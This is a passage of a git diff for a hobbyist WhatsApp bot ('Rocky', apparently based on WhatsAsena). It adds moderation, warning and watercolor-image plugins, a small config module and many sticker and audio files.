+ var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex10.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex11.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + } +})); diff --git a/plugins/warning.js b/plugins/warning.js new file mode 100644 index 0000000000..9bdaa371b0 --- /dev/null +++ b/plugins/warning.js @@ -0,0 +1,61 @@ +const asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const GM = "Warning message 0" +const GN = "warning message 0" +const Config = require('../config'); + + + +if (Config.WORKTYPE == 'private') { +asena.addCommand({pattern: 'rwarn', fromMe: true, deleteCommand: true, desc: GM,}, (async (message, match) => { + + var r_text = new Array (); + + r_text[1] = "```No of warnings : 0```"; + r_text[2] ="```No of warnings : 0```"; + + + var i = Math.floor(3*Math.random()) + + await message.client.sendMessage( + message.jid,(r_text[i]), MessageType.text); + + })); + + +asena.addCommand({pattern: 'rwarn', fromMe: true, deleteCommand: true, desc: GN,}, (async (message, match) => { + + var r_text = new Array (); + + r_text[1] = "```No of warnings : 0```"; + r_text[2] ="```No of warnings : 0```"; + + + + var i = Math.floor(3*Math.random()) + + await message.client.sendMessage( + message.jid,(r_text[i]), MessageType.text); + + })); + + } + + + if (Config.WORKTYPE == 'public') { +asena.addCommand({pattern: 'rwarn', fromMe: true, deleteCommand: true, desc: GM,}, (async (message, match) => { + + var r_text = new Array (); + + r_text[1] = "```No of warnings : 0```"; + r_text[2] ="```No of warnings : 0```"; + + + var i = Math.floor(3*Math.random()) + + await message.client.sendMessage( + message.jid,(r_text[i]), MessageType.text); + + })); + +} diff --git a/plugins/watercolour.js b/plugins/watercolour.js new file mode 100644 index 0000000000..7cc481c784 --- /dev/null +++ b/plugins/watercolour.js @@ -0,0 +1,38 @@ +/* Copyright (C) 2021 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +ROCKY*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const need = "Command Kazhinn Yanthankilum Eyuth muthe\n🙄🙄🙄" + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({ pattern: 'watercolor ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/watercolor?text=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({ pattern: 'watercolor ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/watercolor?text=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); + +} diff --git a/qr.js b/qr.js index 7f50ee199c..5e3ccf5ff8 100644 --- a/qr.js +++ b/qr.js @@ -8,7 +8,7 @@ WhatsAsena - Yusuf Usta const chalk = require('chalk'); const {WAConnection, MessageOptions, MessageType} = require('@adiwajshing/baileys'); -const {StringSession} = require('./whatsasena/'); +const {StringSession} = require('./Rocky/'); const fs = require('fs'); async function whatsAsena () { diff --git a/rocky.js b/rocky.js new file mode 100644 index 0000000000..c3d0a3450d --- /dev/null +++ b/rocky.js @@ -0,0 +1,18 @@ +/* codded by `anshad` +*/ + +const { Sequelize } = require('sequelize'); +const fs = require('fs'); +if (fs.existsSync('config.env')) require('dotenv').config({ path: './config.env' }); + +// PLK Special Functions +function convertToBool(text, fault = 'true') { + return text === fault ? true : false; +} + +module.exports = { + + Z_NUMBER: process.env.NUMBER === undefined ? '+919995390942' : process.env.NUMBER, + Z_OWNER: process.env.OWNER_NAME === undefined ? 'Rocky ser' : process.env.OWNER_NAME, + +}; diff --git a/saved/info.md b/saved/info.md new file mode 100644 index 0000000000..c2dc14a166 --- /dev/null +++ b/saved/info.md @@ -0,0 +1 @@ +# Your new bgms will be saved here! diff --git a/sticker/Aarulle.webp b/sticker/Aarulle.webp index 2f62e3747e..58746290c2 100644 Binary files a/sticker/Aarulle.webp and b/sticker/Aarulle.webp differ diff --git a/sticker/Aktf.webp b/sticker/Aktf.webp new file mode 100644 index 0000000000..3e1b11b7d8 Binary files /dev/null and b/sticker/Aktf.webp differ diff --git a/sticker/Anshad.webp b/sticker/Anshad.webp index 61591e8fd2..e652065ff3 100644 Binary files a/sticker/Anshad.webp and b/sticker/Anshad.webp differ diff --git a/sticker/Aysheri.webp b/sticker/Aysheri.webp index 459b38c42e..1e3fad7478 100644 Binary files a/sticker/Aysheri.webp and b/sticker/Aysheri.webp differ diff --git a/sticker/Ayye.webp b/sticker/Ayye.webp index eb2f2c55c1..6e8bbdeea9 100644 Binary files a/sticker/Ayye.webp and b/sticker/Ayye.webp differ diff --git a/sticker/Ayyo.webp b/sticker/Ayyo.webp index 3818d60495..7dae2f3d8a 100644 Binary files a/sticker/Ayyo.webp and b/sticker/Ayyo.webp differ diff --git a/sticker/Da.webp b/sticker/Da.webp index 9c2ed431b2..97293faafb 100644 Binary files a/sticker/Da.webp and b/sticker/Da.webp differ diff --git a/sticker/Eee.webp b/sticker/Eee.webp index ebaa232adb..655ba1f3dc 100644 Binary files a/sticker/Eee.webp and b/sticker/Eee.webp differ diff --git a/sticker/Eee2.webp b/sticker/Eee2.webp deleted file mode 100644 index d620e1c03e..0000000000 Binary files a/sticker/Eee2.webp and /dev/null differ diff --git a/sticker/Entha.webp b/sticker/Entha.webp index f847adbd60..77fca093a3 100644 Binary files a/sticker/Entha.webp and b/sticker/Entha.webp differ diff --git a/sticker/Enthada.webp b/sticker/Enthada.webp index 3250c4ec25..5fea81c35d 100644 Binary files a/sticker/Enthada.webp and b/sticker/Enthada.webp differ diff --git a/sticker/Girls.webp b/sticker/Girls.webp deleted file mode 100644 index 11f7d0a52c..0000000000 Binary files a/sticker/Girls.webp and /dev/null differ diff --git a/sticker/Good morning.webp b/sticker/Good morning.webp index cbf0f41fff..77673ea954 100644 Binary files a/sticker/Good morning.webp and b/sticker/Good morning.webp differ diff --git a/sticker/Good night.webp b/sticker/Good night.webp index 54c8756737..e291012e70 100644 Binary files a/sticker/Good night.webp and b/sticker/Good night.webp differ diff --git a/sticker/Hi.webp b/sticker/Hi.webp index 6481ffad7e..e22f02ea84 100644 Binary files a/sticker/Hi.webp and b/sticker/Hi.webp differ diff --git a/sticker/Hy.webp b/sticker/Hy.webp index 29e4cecd30..c192934d95 100644 Binary files a/sticker/Hy.webp and b/sticker/Hy.webp differ diff --git a/sticker/Kurippe.webp b/sticker/Kurippe.webp index c0358bea79..85300e7118 100644 Binary files a/sticker/Kurippe.webp and b/sticker/Kurippe.webp differ diff --git a/sticker/Kurumb.webp b/sticker/Kurumb.webp index 4ae733c525..f5db31edef 100644 Binary files a/sticker/Kurumb.webp and b/sticker/Kurumb.webp differ diff --git a/sticker/Line.webp b/sticker/Line.webp deleted file mode 100644 index 186dbc0f74..0000000000 Binary files a/sticker/Line.webp and /dev/null differ diff --git a/sticker/Love.webp b/sticker/Love.webp index 411d6e397b..3a11366ee7 100644 Binary files a/sticker/Love.webp and b/sticker/Love.webp differ diff --git a/sticker/Msd.webp b/sticker/Msd.webp deleted file mode 100644 index 47bc6497d4..0000000000 Binary files a/sticker/Msd.webp and /dev/null differ diff --git a/sticker/Ok.webp b/sticker/Ok.webp index 76f5e90c9b..7fb9b2f84c 100644 Binary files a/sticker/Ok.webp and b/sticker/Ok.webp differ diff --git a/sticker/Pattumo.webp b/sticker/Pattumo.webp deleted file mode 100644 index c493487b33..0000000000 Binary files a/sticker/Pattumo.webp and /dev/null differ diff --git a/sticker/Pikachu.webp b/sticker/Pikachu.webp deleted file mode 100644 index 64b05d6e78..0000000000 Binary files a/sticker/Pikachu.webp and /dev/null differ diff --git a/sticker/Pm.webp b/sticker/Pm.webp deleted file mode 100644 index cf63db1dcc..0000000000 Binary files a/sticker/Pm.webp and /dev/null differ diff --git a/sticker/Poda.webp b/sticker/Poda.webp index b6d0f41595..bb1639b756 100644 Binary files a/sticker/Poda.webp and b/sticker/Poda.webp differ diff --git a/sticker/Pova.webp b/sticker/Pova.webp index 5f00bd2255..6e8b70a8cc 100644 Binary files a/sticker/Pova.webp and b/sticker/Pova.webp differ diff --git a/sticker/Power.webp b/sticker/Power.webp new file mode 100644 index 0000000000..fa04ba0969 Binary files /dev/null and b/sticker/Power.webp differ diff --git a/sticker/Save.webp b/sticker/Save.webp index baecaafede..1ab5cc1595 100644 Binary files a/sticker/Save.webp and b/sticker/Save.webp differ diff --git a/sticker/Sed.webp b/sticker/Sed.webp index 0e8ffbb0ea..6e43935912 100644 Binary files a/sticker/Sed.webp and b/sticker/Sed.webp differ diff --git a/sticker/Shoo.webp b/sticker/Shoo.webp index df97d04299..b799ef8aaa 100644 Binary files a/sticker/Shoo.webp and b/sticker/Shoo.webp differ diff --git a/sticker/Smile.webp b/sticker/Smile.webp index 4bca06fbc8..ce50fb37ee 100644 Binary files a/sticker/Smile.webp and b/sticker/Smile.webp differ diff --git a/sticker/Sry.webp b/sticker/Sry.webp index 50219b4292..6bd6b487b3 100644 Binary files a/sticker/Sry.webp and b/sticker/Sry.webp differ diff --git a/sticker/Udayipp.webp b/sticker/Udayipp.webp index 551a14bddf..536ed8de76 100644 Binary files a/sticker/Udayipp.webp and b/sticker/Udayipp.webp differ diff --git a/sticker/Vaa.webp b/sticker/Vaa.webp index d518ec896b..59462346bd 100644 Binary files a/sticker/Vaa.webp and b/sticker/Vaa.webp differ diff --git a/sticker/Vannu.webp b/sticker/Vannu.webp index 7c4310bbf0..e1251db531 100644 Binary files a/sticker/Vannu.webp and b/sticker/Vannu.webp differ diff --git a/sticker/achodaa.webp b/sticker/achodaa.webp index 34648cb9c1..2995dda071 100644 Binary files a/sticker/achodaa.webp and b/sticker/achodaa.webp differ diff --git a/sticker/ayin.webp b/sticker/ayin.webp index 0464d6053f..3fdf0f02c0 100644 Binary files a/sticker/ayin.webp and b/sticker/ayin.webp differ diff --git a/sticker/broken.webp b/sticker/broken.webp index 414f76cda8..10c04b290b 100644 Binary files a/sticker/broken.webp and b/sticker/broken.webp differ diff --git a/sticker/bye.webp b/sticker/bye.webp index 0f9f6de43a..14224c5f0a 100644 Binary files a/sticker/bye.webp and b/sticker/bye.webp differ diff --git a/sticker/chattho.webp b/sticker/chattho.webp deleted file mode 100644 index df8fb0ccd4..0000000000 Binary files a/sticker/chattho.webp and /dev/null differ diff --git a/sticker/chaya.webp b/sticker/chaya.webp new file mode 100644 index 0000000000..155f7406e3 Binary files /dev/null and b/sticker/chaya.webp differ diff --git a/sticker/cute.webp b/sticker/cute.webp index b0cfe2f5a0..2b8b7a51a9 100644 Binary files a/sticker/cute.webp and b/sticker/cute.webp differ diff --git a/sticker/engane und.webp b/sticker/engane und.webp index 48b5178401..c70f22c8ce 100644 Binary files a/sticker/engane und.webp and b/sticker/engane und.webp differ diff --git a/sticker/ithokke enth.webp b/sticker/ithokke enth.webp index b0c814098c..e55027f2fe 100644 Binary files a/sticker/ithokke enth.webp and b/sticker/ithokke enth.webp differ diff --git a/sticker/ivan.webp b/sticker/ivan.webp index fed6e250fe..26af7ef3e2 100644 Binary files a/sticker/ivan.webp and b/sticker/ivan.webp differ diff --git a/sticker/naanam.webp b/sticker/naanam.webp index f6aa746f38..a51586b860 100644 Binary files a/sticker/naanam.webp and b/sticker/naanam.webp differ diff --git a/sticker/nadakkatte.webp b/sticker/nadakkatte.webp deleted file mode 100644 index 7bcc4684a7..0000000000 Binary files a/sticker/nadakkatte.webp and /dev/null differ diff --git a/sticker/onam.webp b/sticker/onam.webp new file mode 100644 index 0000000000..b0bf551456 Binary files /dev/null and b/sticker/onam.webp differ diff --git a/sticker/paavam.webp b/sticker/paavam.webp index 1041fbedc4..e206c31dc2 100644 Binary files a/sticker/paavam.webp and b/sticker/paavam.webp differ diff --git a/sticker/pikachu.webp b/sticker/pikachu.webp deleted file mode 100644 index 5565e03e45..0000000000 Binary files a/sticker/pikachu.webp and /dev/null differ diff --git a/sticker/poda.webp b/sticker/poda.webp index 420ce47394..6b2c592478 100644 Binary files a/sticker/poda.webp and b/sticker/poda.webp differ diff --git a/sticker/rocky.webp b/sticker/rocky.webp new file mode 100644 index 0000000000..faf89e5968 Binary files /dev/null and b/sticker/rocky.webp differ diff --git a/sticker/setth.webp b/sticker/setth.webp deleted file mode 100644 index 00b9d4bf64..0000000000 Binary files a/sticker/setth.webp and /dev/null differ diff --git a/sticker/sho.webp b/sticker/sho.webp index 582b4d3439..ede25bba2b 100644 Binary files a/sticker/sho.webp and b/sticker/sho.webp differ diff --git a/sticker/song.webp b/sticker/song.webp deleted file mode 100644 index 44996dac29..0000000000 Binary files a/sticker/song.webp and /dev/null differ diff --git a/sticker/tag.webp b/sticker/tag.webp deleted file mode 100644 index dd989aacea..0000000000 Binary files a/sticker/tag.webp and /dev/null differ diff --git a/sticker/umma.webp b/sticker/umma.webp index 2c5588423a..3b679867e1 100644 Binary files a/sticker/umma.webp and b/sticker/umma.webp differ diff --git a/sticker/yo.webp b/sticker/yo.webp deleted file mode 100644 index 7b62e6ae64..0000000000 Binary files a/sticker/yo.webp and /dev/null differ diff --git a/sticker/ys.webp b/sticker/ys.webp deleted file mode 100644 index 788ffca114..0000000000 Binary files a/sticker/ys.webp and /dev/null differ diff --git a/uploads/.song.mp3 b/uploads/.song.mp3 new file mode 100644 index 0000000000..5c7a4f8568 Binary files /dev/null and b/uploads/.song.mp3 differ diff --git a/uploads/Aa.mp3 b/uploads/Aa.mp3 new file mode 100644 index 0000000000..8ff6f28a6f Binary files /dev/null and b/uploads/Aa.mp3 differ diff --git a/uploads/Ah.mp3 b/uploads/Ah.mp3 new file mode 100644 index 0000000000..259c9ef69d Binary files /dev/null and b/uploads/Ah.mp3 differ diff --git a/uploads/Akhil.mp3 b/uploads/Akhil.mp3 deleted file mode 100644 index 5dfeacbcc0..0000000000 Binary files a/uploads/Akhil.mp3 and /dev/null differ diff --git a/uploads/Aktf.mp3 b/uploads/Aktf.mp3 new file mode 100644 index 0000000000..52978c7922 Binary files /dev/null and b/uploads/Aktf.mp3 differ diff --git a/uploads/Alo.mp3 b/uploads/Alo.mp3 new file mode 100644 index 0000000000..1aeb51b888 Binary files /dev/null and b/uploads/Alo.mp3 differ diff --git a/uploads/Alone.mp3 b/uploads/Alone.mp3 new file mode 100644 index 0000000000..93ff5ef52c Binary files /dev/null and b/uploads/Alone.mp3 differ diff --git a/uploads/Althaf.mp3 b/uploads/Althaf.mp3 deleted file mode 100644 index 5953e8b629..0000000000 Binary files a/uploads/Althaf.mp3 and /dev/null differ diff --git a/uploads/Ameer.mp3 b/uploads/Ameer.mp3 deleted file mode 100644 index 90d482abf7..0000000000 Binary files a/uploads/Ameer.mp3 and /dev/null differ diff --git a/uploads/Amma.mp3 b/uploads/Amma.mp3 new file mode 100644 index 0000000000..86f9f131ed Binary files /dev/null and b/uploads/Amma.mp3 differ diff --git a/uploads/Anshad vfc.mp3 b/uploads/Anshad vfc.mp3 new file mode 100644 index 0000000000..bdb7ed3d28 Binary files /dev/null and b/uploads/Anshad vfc.mp3 differ diff --git a/uploads/Anshad.mp3 b/uploads/Anshad.mp3 index 977e980334..31a79df5ef 100644 Binary files a/uploads/Anshad.mp3 and b/uploads/Anshad.mp3 differ diff --git a/uploads/Ara.mp3 b/uploads/Ara.mp3 new file mode 100644 index 0000000000..428c562026 Binary files /dev/null and b/uploads/Ara.mp3 differ diff --git a/uploads/Ayin.mp3 b/uploads/Ayin.mp3 new file mode 100644 index 0000000000..6066063a03 Binary files /dev/null and b/uploads/Ayin.mp3 differ diff --git a/uploads/Bgm.mp3 b/uploads/Bgm.mp3 index 89107cb8c8..cf455bfc62 100644 Binary files a/uploads/Bgm.mp3 and b/uploads/Bgm.mp3 differ diff --git a/uploads/Bilal.mp3 b/uploads/Bilal.mp3 new file mode 100644 index 0000000000..fde5c4acba Binary files /dev/null and b/uploads/Bilal.mp3 differ diff --git a/uploads/Black.mp3 b/uploads/Black.mp3 new file mode 100644 index 0000000000..d42000f765 Binary files /dev/null and b/uploads/Black.mp3 differ diff --git a/uploads/Bot.mp3 b/uploads/Bot.mp3 index 04b41e8960..a67cc44d74 100644 Binary files a/uploads/Bot.mp3 and b/uploads/Bot.mp3 differ diff --git a/uploads/Broken.mp3 b/uploads/Broken.mp3 new file mode 100644 index 0000000000..e0ccb7ca47 Binary files /dev/null and b/uploads/Broken.mp3 differ diff --git a/uploads/Bye.mp3 b/uploads/Bye.mp3 index d68b42467a..0bc93db97c 100644 Binary files a/uploads/Bye.mp3 and b/uploads/Bye.mp3 differ diff --git a/uploads/Chunke.mp3 b/uploads/Chunke.mp3 new file mode 100644 index 0000000000..13cd24d226 Binary files /dev/null and b/uploads/Chunke.mp3 differ diff --git a/uploads/Cr7.mp3 b/uploads/Cr7.mp3 new file mode 100644 index 0000000000..5a3b48d9aa Binary files /dev/null and b/uploads/Cr7.mp3 differ diff --git a/uploads/Da.mp3 b/uploads/Da.mp3 index d1bf4cff15..6af78da4fa 100644 Binary files a/uploads/Da.mp3 and b/uploads/Da.mp3 differ diff --git a/uploads/Daa.mp3 b/uploads/Daa.mp3 new file mode 100644 index 0000000000..27085c206d Binary files /dev/null and b/uploads/Daa.mp3 differ diff --git a/uploads/Doctor.mp3 b/uploads/Doctor.mp3 new file mode 100644 index 0000000000..d8a76bf7f6 Binary files /dev/null and b/uploads/Doctor.mp3 differ diff --git a/uploads/Dude sir.mp3 b/uploads/Dude sir.mp3 new file mode 100644 index 0000000000..a45883c91d Binary files /dev/null and b/uploads/Dude sir.mp3 differ diff --git a/uploads/Eee.mp3 b/uploads/Eee.mp3 new file mode 100644 index 0000000000..114f2c1f09 Binary files /dev/null and b/uploads/Eee.mp3 differ diff --git a/uploads/Enne.mp3 b/uploads/Enne.mp3 new file mode 100644 index 0000000000..1b8c73601c Binary files /dev/null and b/uploads/Enne.mp3 differ diff --git a/uploads/Enthuva.mp3 b/uploads/Enthuva.mp3 new file mode 100644 index 0000000000..c3f1684f2d Binary files /dev/null and b/uploads/Enthuva.mp3 differ diff --git a/uploads/Feel.mp3 b/uploads/Feel.mp3 new file mode 100644 index 0000000000..07e9b14540 Binary files /dev/null and b/uploads/Feel.mp3 differ diff --git a/uploads/Gd mrng.mp3 b/uploads/Gd mrng.mp3 new file mode 100644 index 0000000000..180b642ca3 Binary files /dev/null and b/uploads/Gd mrng.mp3 differ diff --git a/uploads/Good mrng.mp3 b/uploads/Good mrng.mp3 new file mode 100644 index 0000000000..be01460de6 Binary files /dev/null and b/uploads/Good mrng.mp3 differ diff --git a/uploads/Haa.mp3 b/uploads/Haa.mp3 new file mode 100644 index 0000000000..9778c9cb7f Binary files /dev/null and b/uploads/Haa.mp3 differ diff --git a/uploads/Hai.mp3 b/uploads/Hai.mp3 new file mode 100644 index 0000000000..1b1b287369 Binary files /dev/null and b/uploads/Hai.mp3 differ diff --git a/uploads/Haii.mp3 b/uploads/Haii.mp3 new file mode 100644 index 0000000000..3efc1e23d3 Binary files /dev/null and b/uploads/Haii.mp3 differ diff --git a/uploads/Hallo.mp3 b/uploads/Hallo.mp3 new file mode 100644 index 0000000000..7dc0b3406b Binary files /dev/null and b/uploads/Hallo.mp3 differ diff --git a/uploads/Happy.mp3 b/uploads/Happy.mp3 new file mode 100644 index 0000000000..0307c2b42f Binary files /dev/null and b/uploads/Happy.mp3 differ diff --git a/uploads/Hello.mp3 b/uploads/Hello.mp3 index 3735ca3d65..8d78573f10 100644 Binary files a/uploads/Hello.mp3 and b/uploads/Hello.mp3 differ diff --git a/uploads/Hey.mp3 b/uploads/Hey.mp3 new file mode 100644 index 0000000000..cbd79eb3e4 Binary files /dev/null and b/uploads/Hey.mp3 differ diff --git a/uploads/Hi.mp3 b/uploads/Hi.mp3 index 940ed5d0af..2ed2838c96 100644 Binary files a/uploads/Hi.mp3 and b/uploads/Hi.mp3 differ diff --git a/uploads/Hii.mp3 b/uploads/Hii.mp3 new file mode 100644 index 0000000000..b27c748f8e Binary files /dev/null and b/uploads/Hii.mp3 differ diff --git a/uploads/Hlo.mp3 b/uploads/Hlo.mp3 index b31fbfb3fc..23a73f271c 100644 Binary files a/uploads/Hlo.mp3 and b/uploads/Hlo.mp3 differ diff --git a/uploads/Hloo.mp3 b/uploads/Hloo.mp3 index 2aa6e95e3b..a072a78ca6 100644 Binary files a/uploads/Hloo.mp3 and b/uploads/Hloo.mp3 differ diff --git a/uploads/Hlooi.mp3 b/uploads/Hlooi.mp3 new file mode 100644 index 0000000000..b4fd40f95a Binary files /dev/null and b/uploads/Hlooi.mp3 differ diff --git a/uploads/Hunais.mp3 b/uploads/Hunais.mp3 new file mode 100644 index 0000000000..953d853fa8 Binary files /dev/null and b/uploads/Hunais.mp3 differ diff --git a/uploads/Hy.mp3 b/uploads/Hy.mp3 index 92195b8cc1..1c5c797948 100644 Binary files a/uploads/Hy.mp3 and b/uploads/Hy.mp3 differ diff --git a/uploads/I.mp3 b/uploads/I.mp3 new file mode 100644 index 0000000000..68c158003c Binary files /dev/null and b/uploads/I.mp3 differ diff --git a/uploads/Ikka.mp3 b/uploads/Ikka.mp3 new file mode 100644 index 0000000000..c2bcb253ab Binary files /dev/null and b/uploads/Ikka.mp3 differ diff --git a/uploads/Kk.mp3 b/uploads/Kk.mp3 index 4d577b9c97..d80febe089 100644 Binary files a/uploads/Kk.mp3 and b/uploads/Kk.mp3 differ diff --git a/uploads/Kollam.mp3 b/uploads/Kollam.mp3 new file mode 100644 index 0000000000..3db858b84a Binary files /dev/null and b/uploads/Kollam.mp3 differ diff --git a/uploads/Kycho.mp3 b/uploads/Kycho.mp3 new file mode 100644 index 0000000000..f46fc4a80c Binary files /dev/null and b/uploads/Kycho.mp3 differ diff --git a/uploads/Leo.mp3 b/uploads/Leo.mp3 new file mode 100644 index 0000000000..0d1b0fd0b9 Binary files /dev/null and b/uploads/Leo.mp3 differ diff --git a/uploads/Life.mp3 b/uploads/Life.mp3 new file mode 100644 index 0000000000..c92fac55d2 Binary files /dev/null and b/uploads/Life.mp3 differ diff --git a/uploads/Love.mp3 b/uploads/Love.mp3 index b12d288709..c4525ce8f5 100644 Binary files a/uploads/Love.mp3 and b/uploads/Love.mp3 differ diff --git a/uploads/Mamooka.mp3 b/uploads/Mamooka.mp3 new file mode 100644 index 0000000000..f23d52ae5f Binary files /dev/null and b/uploads/Mamooka.mp3 differ diff --git a/uploads/Mine.mp3 b/uploads/Mine.mp3 new file mode 100644 index 0000000000..0de8f73d65 Binary files /dev/null and b/uploads/Mine.mp3 differ diff --git a/uploads/Missing.mp3 b/uploads/Missing.mp3 new file mode 100644 index 0000000000..3b9117c40e Binary files /dev/null and b/uploads/Missing.mp3 differ diff --git a/uploads/Mm.mp3 b/uploads/Mm.mp3 new file mode 100644 index 0000000000..efb8d6de39 Binary files /dev/null and b/uploads/Mm.mp3 differ diff --git a/uploads/Music.mp3 b/uploads/Music.mp3 new file mode 100644 index 0000000000..5618f1e0b6 Binary files /dev/null and b/uploads/Music.mp3 differ diff --git a/uploads/My.mp3 b/uploads/My.mp3 new file mode 100644 index 0000000000..5a1b1559ba Binary files /dev/null and b/uploads/My.mp3 differ diff --git a/uploads/Myre.mp3 b/uploads/Myre.mp3 new file mode 100644 index 0000000000..3dcc5e2a2b Binary files /dev/null and b/uploads/Myre.mp3 differ diff --git a/uploads/N.mp3 b/uploads/N.mp3 new file mode 100644 index 0000000000..6e082097b3 Binary files /dev/null and b/uploads/N.mp3 differ diff --git a/uploads/Nalla.mp3 b/uploads/Nalla.mp3 new file mode 100644 index 0000000000..b49e9d72df Binary files /dev/null and b/uploads/Nalla.mp3 differ diff --git a/uploads/Nanba.mp3 b/uploads/Nanba.mp3 new file mode 100644 index 0000000000..e2509de8b2 Binary files /dev/null and b/uploads/Nanba.mp3 differ diff --git a/uploads/Nanban.mp3 b/uploads/Nanban.mp3 new file mode 100644 index 0000000000..00db34fd51 Binary files /dev/null and b/uploads/Nanban.mp3 differ diff --git a/uploads/New.mp3 b/uploads/New.mp3 new file mode 100644 index 0000000000..acb3eae83f Binary files /dev/null and b/uploads/New.mp3 differ diff --git a/uploads/Njn.mp3 b/uploads/Njn.mp3 new file mode 100644 index 0000000000..5af3985b27 Binary files /dev/null and b/uploads/Njn.mp3 differ diff --git a/uploads/No.mp3 b/uploads/No.mp3 new file mode 100644 index 0000000000..a5c187babd Binary files /dev/null and b/uploads/No.mp3 differ diff --git a/uploads/Ok.mp3 b/uploads/Ok.mp3 new file mode 100644 index 0000000000..3a6aed503e Binary files /dev/null and b/uploads/Ok.mp3 differ diff --git a/uploads/Onam.mp3 b/uploads/Onam.mp3 new file mode 100644 index 0000000000..ae0409920f Binary files /dev/null and b/uploads/Onam.mp3 differ diff --git a/uploads/Oo.mp3 b/uploads/Oo.mp3 new file mode 100644 index 0000000000..69f4630f56 Binary files /dev/null and b/uploads/Oo.mp3 differ diff --git a/uploads/Ooi.mp3 b/uploads/Ooi.mp3 new file mode 100644 index 0000000000..0cceeeb282 Binary files /dev/null and b/uploads/Ooi.mp3 differ diff --git a/uploads/Paat.mp3 b/uploads/Paat.mp3 index 1606ca43f7..5a3cc69e7e 100644 Binary files a/uploads/Paat.mp3 and b/uploads/Paat.mp3 differ diff --git a/uploads/Para.mp3 b/uploads/Para.mp3 new file mode 100644 index 0000000000..1f464280ed Binary files /dev/null and b/uploads/Para.mp3 differ diff --git a/uploads/Pm.mp3 b/uploads/Pm.mp3 new file mode 100644 index 0000000000..a6ae9e0112 Binary files /dev/null and b/uploads/Pm.mp3 differ diff --git a/uploads/Poda.mp3 b/uploads/Poda.mp3 index bc24907561..e5cefb0df5 100644 Binary files a/uploads/Poda.mp3 and b/uploads/Poda.mp3 differ diff --git a/uploads/Rashmika.mp3 b/uploads/Rashmika.mp3 new file mode 100644 index 0000000000..a4084de188 Binary files /dev/null and b/uploads/Rashmika.mp3 differ diff --git a/uploads/Rip.mp3 b/uploads/Rip.mp3 new file mode 100644 index 0000000000..c5e8554934 Binary files /dev/null and b/uploads/Rip.mp3 differ diff --git a/uploads/Rocky ser.mp3 b/uploads/Rocky ser.mp3 new file mode 100644 index 0000000000..5f345cf621 Binary files /dev/null and b/uploads/Rocky ser.mp3 differ diff --git a/uploads/Rocky.mp3 b/uploads/Rocky.mp3 new file mode 100644 index 0000000000..0235fdfe18 Binary files /dev/null and b/uploads/Rocky.mp3 differ diff --git a/uploads/Rockyser.mp3 b/uploads/Rockyser.mp3 new file mode 100644 index 0000000000..0a4493175e Binary files /dev/null and b/uploads/Rockyser.mp3 differ diff --git a/uploads/Sad.mp3 b/uploads/Sad.mp3 new file mode 100644 index 0000000000..98e6a3baf4 Binary files /dev/null and b/uploads/Sad.mp3 differ diff --git a/uploads/Scene.mp3 b/uploads/Scene.mp3 new file mode 100644 index 0000000000..f4b43e879e Binary files /dev/null and b/uploads/Scene.mp3 differ diff --git a/uploads/Scn.mp3 b/uploads/Scn.mp3 new file mode 100644 index 0000000000..9b17cd7ee4 Binary files /dev/null and b/uploads/Scn.mp3 differ diff --git a/uploads/Sed.mp3 b/uploads/Sed.mp3 new file mode 100644 index 0000000000..99048090d9 Binary files /dev/null and b/uploads/Sed.mp3 differ diff --git a/uploads/Sett.mp3 b/uploads/Sett.mp3 new file mode 100644 index 0000000000..774861eec1 Binary files /dev/null and b/uploads/Sett.mp3 differ diff --git a/uploads/Show.mp3 b/uploads/Show.mp3 new file mode 100644 index 0000000000..0b39728cc8 Binary files /dev/null and b/uploads/Show.mp3 differ diff --git a/uploads/Single.mp3 b/uploads/Single.mp3 new file mode 100644 index 0000000000..a1dcd1dd87 Binary files /dev/null and b/uploads/Single.mp3 differ diff --git a/uploads/Song.mp3 b/uploads/Song.mp3 new file mode 100644 index 0000000000..1413345f43 Binary files /dev/null and b/uploads/Song.mp3 differ diff --git a/uploads/Suhail.mp3 b/uploads/Suhail.mp3 deleted file mode 100644 index d57d740efe..0000000000 Binary files a/uploads/Suhail.mp3 and /dev/null differ diff --git a/uploads/Thalaiva.mp3 b/uploads/Thalaiva.mp3 new file mode 100644 index 0000000000..807b0cfb8a Binary files /dev/null and b/uploads/Thalaiva.mp3 differ diff --git a/uploads/Uyir.mp3 b/uploads/Uyir.mp3 new file mode 100644 index 0000000000..faf9d64627 Binary files /dev/null and b/uploads/Uyir.mp3 differ diff --git a/uploads/Uyr.mp3 b/uploads/Uyr.mp3 new file mode 100644 index 0000000000..6a73ea1f8f Binary files /dev/null and b/uploads/Uyr.mp3 differ diff --git a/uploads/Vathi.mp3 b/uploads/Vathi.mp3 new file mode 100644 index 0000000000..7e4c78ab27 Binary files /dev/null and b/uploads/Vathi.mp3 differ diff --git a/uploads/Welcome.mp3 b/uploads/Welcome.mp3 new file 